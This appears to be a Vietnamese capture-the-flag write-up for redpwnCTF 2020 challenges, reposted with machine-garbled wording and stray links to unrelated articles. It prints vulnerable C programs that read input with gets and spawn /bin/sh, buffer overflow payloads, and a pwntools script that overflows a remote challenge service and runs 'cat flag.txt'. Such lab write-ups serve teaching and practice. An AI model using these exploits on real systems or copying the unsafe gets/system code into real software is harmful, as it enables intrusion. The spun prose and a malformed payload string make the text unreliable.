NTT123'S GISTS · GITHUB

     

Tuy nhiên bài này lại ở mức vô cùng căn bản. Bằng phương pháp sử dụng radare2 bình chọn hàm printf, chúng ta có thể dễ dàng thu được ngay lập tức được flag.Một cách đơn giản dễ dàng hơn là sử dụng câu lệnh khám nghiệm string vào file

*

flagr0pes_ar3_just_l0ng_str1ngs

2. UglyBash

$*%c-dFqjfo e$"u0076"al "$( ${*%%Q+n "${
{$"

"$
$*, $< (-(-(23"#""f"--42#2)+7"#"12)) > $*//>Kxy14./:D.-L( $< ((4"#"$*11-2"8"#0)+11"#""1"0) > "$
~~Thoạt nhìn dường như không chuyển đổi nhiều, tuy nhiên để ý kỹ hơn các bạn sẽ thấy chuỗi ra đời là reverse của chuỗi ban đầu.

Bạn đang xem: Ntt123's gists · github

Thử nghiệm quăng quật đi một số ít params sinh sống đầu với echo phần còn sót lại ra, các bạn sẽ thu được flag

*

3. Coffer-overflow-0

Sau đó là các bài bác dạng pwn nhưng mà mình không làm bao giờ

*

Quả quả thật dự đoán. Bình chọn sâu vào hàm main ta thấy được

*

Sau 3 lệnh set buffer cùng 2 câu lệnh puts để in ra được 2 chuỗi của chương trình, ở địa chỉ 0x00000000004006db ta có thanh ghi . Qua lệnh gets, tài liệu được trữ trong .Từ kia tính được offset 0x20 + 0x8 = 24.

Vậy để tiến hành buffer overflow đơn giản dễ dàng chỉ phun 1 chuỗi dữ liệu dài hơn 24 cam kết tự là được.

Xem thêm: Ai Là Triệu Phú Tiếng Anh Là Gì, Ai Là Triệu Phú

*

4. Coffer-overflow-1

#include #include int main(void) long code = 0; char name<16>; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("Welcome to lớn coffer overflow, where our coffers are overfilling with bytes ;)"); puts("What vì chưng you want khổng lồ fill your coffer with?"); gets(name); if(code == 0xcafebabe) system("/bin/sh"); Bài này cũng kha khá giống với bài xích coffer-overflow-0. Tuy nhiên phần bit yêu cầu overflow thay vì chưng 0 như trước thì giờ cần = 0xcafebabe. Cũng với những lệnh tương tự như như trên.

Xem thêm: Nói Về Ước Mơ Của Em Trong Tương Lai Ngắn Ngọn Hay Nhất (35 Mẫu)

Lần này payload vẫn là "a"*24 với chuỗi 0xcafebabe dưới dạng byte

Payload : "aaaaaaaaaaaaaaaaaaaaaaxbexbaxfexca"

*

Tuy nhiên khá bất ngờ khi payload không cho ra kết quả. Ở đây có công dụng do phần cuối của chuỗi không nhận được bên dưới dạng byte

Ok fine, bản thân có ăn uống mày được 1 đoạn code nhỏ dại để phun thử đúng payload vừa xong

from pwn import *flag = p32(0xcafebabe)offset = 24r = remote("2020.redpwnc.tf", 31255)print(r.recv(1024).decode())print(r.recv(1024).decode())r.sendline(b"a"*offset + flag)r.sendline("cat flag.txt")print(r.recv(1024).decode())Và kết quả thu được

*

5. Coffer-overflow-2

Kiểm tra source code

#include #include int main(void) char name<16>; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)"); puts("What vày you want to lớn fill your coffer with?"); gets(name);void binFunction() system("/bin/sh");Có vẻ cạnh tranh nhằn rộng rồi, nhằm buffer overflow rất có thể xảy ra cần phải tìm mang đến hàm binFunction.

*

Sử dụng gdb để tìm tới add hàm binFunction tại 0x04006e6 cùng với offset 24 giống như cách tính mặt trên

Tada!

*

Hết rồi, cảm ơn các bạn đã đọc.Phần 1 của senpai siêu gánh team có thể tham khảo tại đây